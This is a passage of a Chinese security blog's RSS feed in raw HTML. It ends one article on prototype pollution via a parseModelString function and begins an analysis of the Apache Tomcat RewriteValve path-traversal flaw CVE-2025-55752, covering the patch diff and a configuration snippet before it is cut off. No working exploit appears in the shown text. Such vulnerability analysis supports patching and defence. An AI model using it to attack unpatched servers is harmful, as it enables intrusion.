src="https://wechat2rss.xlab.app/img-proxy/?k=f41383b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAwcs4WYylVKq8JZz8X4CVATAHrSl7wKcuLbwicYhIAibyQWHxqJ17ibDdSPibYDIaxbN79j4rt0yQwavw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">这其中需要重点关注被调用的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">parseModelString</span></code><span leaf=""> 函数，对首字符是否为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14.4px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$</span></code><span leaf=""> 进行了判断，并根据第二个字符的取值采取不同的方式进行处理：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008883" class="rich_pages wxw-img" data-ratio="0.40555555555555556" data-type="png" data-w="1080" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;margin: 0.1em auto 0.5em;border-radius: 4px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=afc6caca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAwcs4WYylVKq8JZz8X4CVATMSYP3G1B7YjaZavwC9TMnzKTUdPibiaIBia3Cd6pLibMTDZAaGEebcBHaw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">这里就涉及了原型链污染过程，我们留到下一篇继续分析。</span></p></div><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, \&#34;Helvetica Neue\&#34;, \&#34;PingFang SC\&#34;, \&#34;Hiragino Sans GB\&#34;, \&#34;Microsoft YaHei UI\&#34;, \&#34;Microsoft YaHei\&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 12px;font-weight: bold;">由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。</span></span></p></div><p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="2247492538">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=02f8812c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NTU5Mjg0Ng%3D%3D%26mid%3D2247492538%26idx%3D1%26sn%3Dfc886058323f7d23414ab5e734f8f8ee">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 07 Dec 2025 15:01:00 +0800</pubDate>
    </item>
    <item>
      <title>CVE-2025-55752 Apache Tomcat 路径穿越漏洞影响范围修正与利用分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&amp;mid=2247492522&amp;idx=1&amp;sn=b0d52f967db7df8ec7bddf3a639e63b3</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>KCyber</span> <span>2025-11-01 07:00</span> <span style="display: inline-block;">北京</span>
</p>




<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=aa28bdc2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F9UsWg6ibZLAx96ibcQsh5XXKVxojbbuavYpvn1CJjMqN7IWwt9x01tOFQicEGWhAFnFtSSEUfFcCnMqEBNZxfHtFg%2F0%3Fwx_fmt%3Djpeg"/></p>


<p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(10, 10, 10);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 0px 8px 1.5em;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">近日 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Apache</span></code><span leaf=""> 公开披露了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Tomcat</span></code><span leaf=""> 中存在一个路径穿越漏洞 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">CVE-2025-55752</span></code><span leaf=""> ，如果应用同时启用了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">DefaultServlet PUT</span></code><span leaf=""> 可导致 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RCE</span></code><span leaf=""> 。通过补丁对比和原理分析，文中不仅揭示了完整漏洞链，而且对官方提供的漏洞影响范围进行了修正，旨在提供更准确的安全威胁评估。</span></p><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">补丁对比</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">从公开信息看，产生漏洞的原因是对于 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RewriteValve</span></code><span leaf=""> 规则进行处理时，存在逻辑问题。补丁对比如下：将 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></code><span leaf=""> 归一化处理放到 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></code><span leaf=""> 解码之后，看到这里漏洞的成因就非常清晰了。</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008859" class="rich_pages wxw-img" data-ratio="0.4054848188050931" data-type="png" data-w="1021" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=09cd9566&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAx96ibcQsh5XXKVxojbbuavYFuTcc76Kw35E2x1U9pBVDwM5pIzG1QaxOVNiaIiaquf2hHNLibBNXCzAw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008861" class="rich_pages wxw-img" data-ratio="0.3937007874015748" data-type="png" data-w="1016" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=0180e2f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAx96ibcQsh5XXKVxojbbuavYlfmjqkZlPYnF2sm7BV58TBVCusiaibjGAICZq60MKYU0CBo5lf3I4Dpw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><h2 data-heading="true" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-size: 19.5px;font-weight: bold;margin: 4em auto 2em;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;display: table;padding: 0.3em 1.2em;color: rgb(255, 255, 255);background: rgb(15, 76, 129);border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">漏洞分析</span></h2><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RewriteValve</span></code><span leaf=""> 继承了 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ValveBase</span></code><span leaf=""> 抽象类，是 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Tomcat</span></code><span leaf=""> 内部实现 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">URL</span></code><span leaf=""> 重写功能的组件。重写规则与 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Apache httpd</span></code><span leaf=""> 的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">mod_rewrite</span></code><span leaf=""> 类似，在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">META-INF/context.xml</span></code><span leaf=""> 中配置启动 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">RewriteValve</span></code><span leaf=""> ：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span leaf="">&lt;</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(126, 231, 135);"><span leaf="">Context</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span leaf="">&lt;</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(126, 231, 135);"><span leaf="">Valve</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(121, 192, 255);"><span leaf="">className</span></span><span leaf="">=</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(165, 214, 255);"><span leaf="">&#34;org.apache.catalina.valves.rewrite.RewriteValve&#34;</span></span><span leaf=""> /&gt;</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));"><span leaf="">&lt;/</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));color: rgb(126, 231, 135);"><span leaf="">Context</span></span><span leaf="">&gt;</span></span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">然后新建 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">WEB-INF/rewrite.config</span></code><span leaf="">并配置</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span 